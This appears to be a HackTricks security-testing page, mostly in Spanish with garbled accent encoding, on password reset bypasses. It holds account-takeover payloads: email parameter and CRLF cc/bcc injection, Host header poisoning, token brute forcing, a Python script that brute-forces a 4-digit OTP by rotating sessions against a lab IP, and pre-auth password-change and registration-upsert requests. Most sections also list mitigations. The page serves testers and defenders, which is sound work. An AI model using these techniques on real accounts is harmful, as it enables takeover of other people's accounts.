Reset/Forgotten Password Bypass

Reading time: 11 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
  • Impacto: Potencial toma de control de la cuenta v铆a Cross-Site Request Forgery (CSRF).
  • Exploitation: Para comprobar si un password reset token est谩 leak en el referer header, solicita un password reset a tu direcci贸n de email y haz clic en el enlace de reset proporcionado. No cambies tu contrase帽a inmediatamente. En su lugar, navega a un sitio web de terceros (como Facebook o Twitter) mientras interceptas las peticiones usando Burp Suite. Inspecciona las peticiones para ver si el referer header contiene el password reset token, ya que esto podr铆a exponer informaci贸n sensible a terceros.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impacto: Puede provocar la toma de la cuenta al leaking de los reset tokens a los atacantes.
  • Mitigation Steps:
  • Valida el Host header contra una whitelist de dominios permitidos.
  • Usa m茅todos seguros del lado servidor para generar URLs absolutas.
  • Parche: Usa $_SERVER['SERVER_NAME'] para construir las password reset URLs en lugar de $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • A帽ade el email del atacante como segundo par谩metro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • A帽ade attacker email como segundo par谩metro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agrega attacker email como segundo par谩metro usando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • A帽adir attacker email como segundo par谩metro usando cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agregar el correo electr贸nico del attacker como segundo par谩metro usando bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • A帽adir el correo electr贸nico del atacante como segundo par谩metro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • A帽adir el email del atacante como segundo par谩metro en json array
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Cambiar correo electr贸nico y contrase帽a de cualquier usuario a trav茅s de par谩metros de la API

  • Los atacantes pueden modificar los par谩metros de correo electr贸nico y contrase帽a en las solicitudes de la API para cambiar las credenciales de la cuenta.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Pasos de mitigaci贸n:
  • Asegurar validaci贸n estricta de par谩metros y comprobaciones de autenticaci贸n.
  • Implementar registro y monitoreo robustos para detectar y responder a actividades sospechosas.
  • Referencia:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • La falta de rate limiting en las solicitudes de password reset puede derivar en email bombing, saturando al usuario con correos de restablecimiento.
  • Pasos de mitigaci贸n:
  • Implementar rate limiting basado en la direcci贸n IP o la cuenta de usuario.
  • Usar desaf铆os CAPTCHA para prevenir el abuso automatizado.
  • Referencias:
  • HackerOne Report 280534

Averiguar c贸mo se genera el Password Reset Token

  • Comprender el patr贸n o m茅todo detr谩s de la generaci贸n del token puede permitir predecirlo o forzarlo por fuerza bruta. Algunas opciones:
  • Basado en timestamp
  • Basado en el UserID
  • Basado en el email del usuario
  • Basado en nombre y apellido
  • Basado en fecha de nacimiento
  • Basado en criptograf铆a
  • Pasos de mitigaci贸n:
  • Usar m茅todos criptogr谩ficos fuertes para la generaci贸n de tokens.
  • Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
  • Herramientas: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.

Guessable UUID

  • Si los UUIDs (version 1) son adivinables o predecibles, los atacantes pueden forzarlos por fuerza bruta para generar reset tokens v谩lidos. Ver:

UUID Insecurities

  • Pasos de mitigaci贸n:
  • Usar GUID versi贸n 4 para mayor aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
  • Herramientas: Usar guidtool para analizar y generar GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulaci贸n de respuestas HTTP para eludir mensajes de error o restricciones.
  • Pasos de mitigaci贸n:
  • Implementar comprobaciones en el servidor para garantizar la integridad de las respuestas.
  • Usar canales de comunicaci贸n seguros como HTTPS para prevenir ataques man-in-the-middle.
  • Referencia:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Probar si tokens expirados a煤n pueden usarse para restablecer la contrase帽a.
  • Pasos de mitigaci贸n:
  • Implementar pol铆ticas estrictas de expiraci贸n de tokens y validar la expiraci贸n del token en el servidor.

Brute Force Password Reset Token

  • Intentar forzar por fuerza bruta el reset token usando herramientas como Burpsuite e IP-Rotator para eludir rate limits basados en IP.
  • Pasos de mitigaci贸n:
  • Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
  • Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.

Try Using Your Token

  • Probar si el reset token de un atacante puede usarse junto con el email de la v铆ctima.
  • Pasos de mitigaci贸n:
  • Asegurar que los tokens est茅n vinculados a la sesi贸n del usuario u otros atributos espec铆ficos del usuario.

Session Invalidation in Logout/Password Reset

  • Asegurar que las sessions se invaliden cuando un usuario cierra sesi贸n o restablece su contrase帽a.
  • Pasos de mitigaci贸n:
  • Implementar una gesti贸n adecuada de sessions, asegurando que todas las sessions se invaliden al hacer logout o restablecer la contrase帽a.

Session Invalidation in Logout/Password Reset

  • Los reset tokens deben tener un tiempo de expiraci贸n tras el cual se invalidan.
  • Pasos de mitigaci贸n:
  • Establecer un tiempo de expiraci贸n razonable para los reset tokens y aplicarlo estrictamente en el servidor.

OTP rate limit bypass by changing your session

  • Si el sitio usa la session del usuario para rastrear intentos fallidos de OTP y el OTP es d茅bil (<= 4 d铆gitos), entonces podemos forzarlo por fuerza bruta de forma efectiva.
  • explotaci贸n:
  • simplemente solicitar un nuevo session token despu茅s de ser bloqueado por el servidor.
  • Ejemplo c贸digo que explota este bug adivinando aleatoriamente el OTP (cuando cambias la session el OTP tambi茅n cambia, 隆as铆 que no podremos bruteforcearlo secuencialmente!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation request (concepto):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigaciones:

  • Siempre exigir un reset token v谩lido y con tiempo limitado vinculado a la cuenta y a la sesi贸n antes de cambiar la contrase帽a.
  • Nunca expongas rutas skipOldPwdCheck a usuarios no autenticados; exige autenticaci贸n para cambios de contrase帽a regulares y verifica la contrase帽a antigua.
  • Invalida todas las sesiones activas y los reset tokens despu茅s de un cambio de contrase帽a.

Registration-as-Password-Reset (Upsert on Existing Email)

Algunas aplicaciones implementan el signup handler como un upsert. Si el email ya existe, el handler actualiza silenciosamente el registro de usuario en lugar de rechazar la petici贸n. Cuando el registration endpoint acepta un body JSON m铆nimo con un email existente y una nueva contrase帽a, se convierte efectivamente en un pre-auth password reset sin ninguna verificaci贸n de propiedad, permitiendo un full account takeover.

Pre-auth ATO PoC (sobrescribiendo la contrase帽a de un usuario existente):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks